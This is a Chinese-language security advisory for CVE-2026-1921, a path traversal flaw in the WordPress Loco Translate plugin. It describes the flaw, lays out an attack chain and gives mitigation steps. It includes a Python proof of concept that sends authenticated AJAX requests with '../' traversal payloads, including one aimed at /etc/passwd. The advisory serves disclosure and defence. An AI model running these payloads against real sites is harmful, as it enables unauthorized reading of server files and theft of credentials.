IPBUF安全漏洞报告
English
CVE-2026-1921 CVSS 4.9 中危

CVE-2026-1921 WordPress Loco Translate路径遍历漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-1921
漏洞类型
路径遍历
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WordPress Loco Translate plugin

相关标签

路径遍历WordPressLoco Translate任意文件读取CVE-2026-1921

漏洞概述

WordPress Loco Translate 插件在所有版本(包括 2.8.2)中存在路径遍历漏洞。该漏洞源于 `fsReference` AJAX 路由中的 `findSourceFile()` 方法在处理用户提供的路径时,未能正确验证规范化后的路径是否仍位于预期的目录内。拥有翻译者权限及以上权限的经过身份验证的攻击者可以利用此漏洞,读取服务器上任意 `.php`、`.js`、`.json` 和 `.twig` 文件,从而导致敏感信息泄露。值得注意的是,`wp-config.php` 文件被明确排除在读取范围之外。

技术细节

该漏洞的核心在于 WordPress Loco Translate 插件对路径验证逻辑的缺失。具体而言,插件通过 `fsReference` AJAX 接口接收用户输入的 `ref` 参数,并调用 `findSourceFile()` 方法进行处理。该方法会对包含 `../` 序列的路径进行规范化处理(即解析目录跳转),但关键在于它没有在规范化后再次检查最终路径是否仍然限制在预期的翻译目录或包目录内。
利用条件要求攻击者具有有效的 WordPress 账户,且该账户至少拥有“Translator”角色(具备 `loco_admin` 权限)。攻击者可以构造包含 `../` 的恶意载荷,向目标服务器发送特制的 AJAX 请求。通过不断回溯目录层级,攻击者可以突破插件原本的限制,访问 Web 根目录之外的其他敏感文件。虽然系统阻止了对 `wp-config.php` 的直接读取,但攻击者仍可读取其他源代码文件(如 `.php`)、配置文件(`.json`)或模板文件(`.twig`),通过分析这些文件内容,攻击者可能获取数据库凭证、API 密钥或发现其他可利用的安全漏洞。

攻击链分析

STEP 1
侦察
攻击者识别目标站点是否安装了 WordPress Loco Translate 插件,并确认版本是否在受影响范围内(<= 2.8.2)。
STEP 2
获取凭证
攻击者需要获取一个具有“翻译者”权限或更高权限(如管理员)的 WordPress 账户凭证。
STEP 3
构造载荷
攻击者构造包含 `../` 序列的恶意 `ref` 参数,指向 Web 目录之外的任意 `.php`、`.js`、`.json` 或 `.twig` 文件。
STEP 4
发送请求
攻击者向 `/wp-admin/admin-ajax.php` 发送经过身份验证的 AJAX POST 请求,目标是 `fsReference` 路由。
STEP 5
数据泄露
服务器端未正确验证路径,将请求的文件内容返回给攻击者,导致敏感信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-1921 PoC Example # Target must have Loco Translate plugin installed and a user with Translator privileges. target_url = "http://example.com/wp-admin/admin-ajax.php" session_cookie = "wordpress_logged_in_xxxxxxxxxxxxxxxxx" # Replace with valid authenticated session cookie # The vulnerability allows reading .php, .js, .json, .twig files using directory traversal # Example payload to read a file outside the intended directory payload_data = { "action": "loco_json", "route": "fsReference", # Attempting to read wp-config.php is blocked, but other PHP files are accessible "ref": "../../../../../../etc/passwd" # This might fail based on extension check } # Valid payload for a PHP file (e.g., reading another plugin's file) payload_data_valid = { "action": "loco_json", "route": "fsReference", "ref": "../../../../../../path/to/another/plugin/file.php" } headers = { "Cookie": f"wordpress_logged_in_...={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(target_url, data=payload_data_valid, headers=headers) if response.status_code == 200: print("[+] Request sent successfully. Check response content for file data.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Loco Translate <= 2.8.2

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用该插件以阻断攻击路径。同时,应审查系统日志,检查是否已存在针对 `fsReference` 接口的异常访问记录,以确定是否已被入侵。此外,应撤销不必要的 `loco_admin` 权限,仅保留核心管理员访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表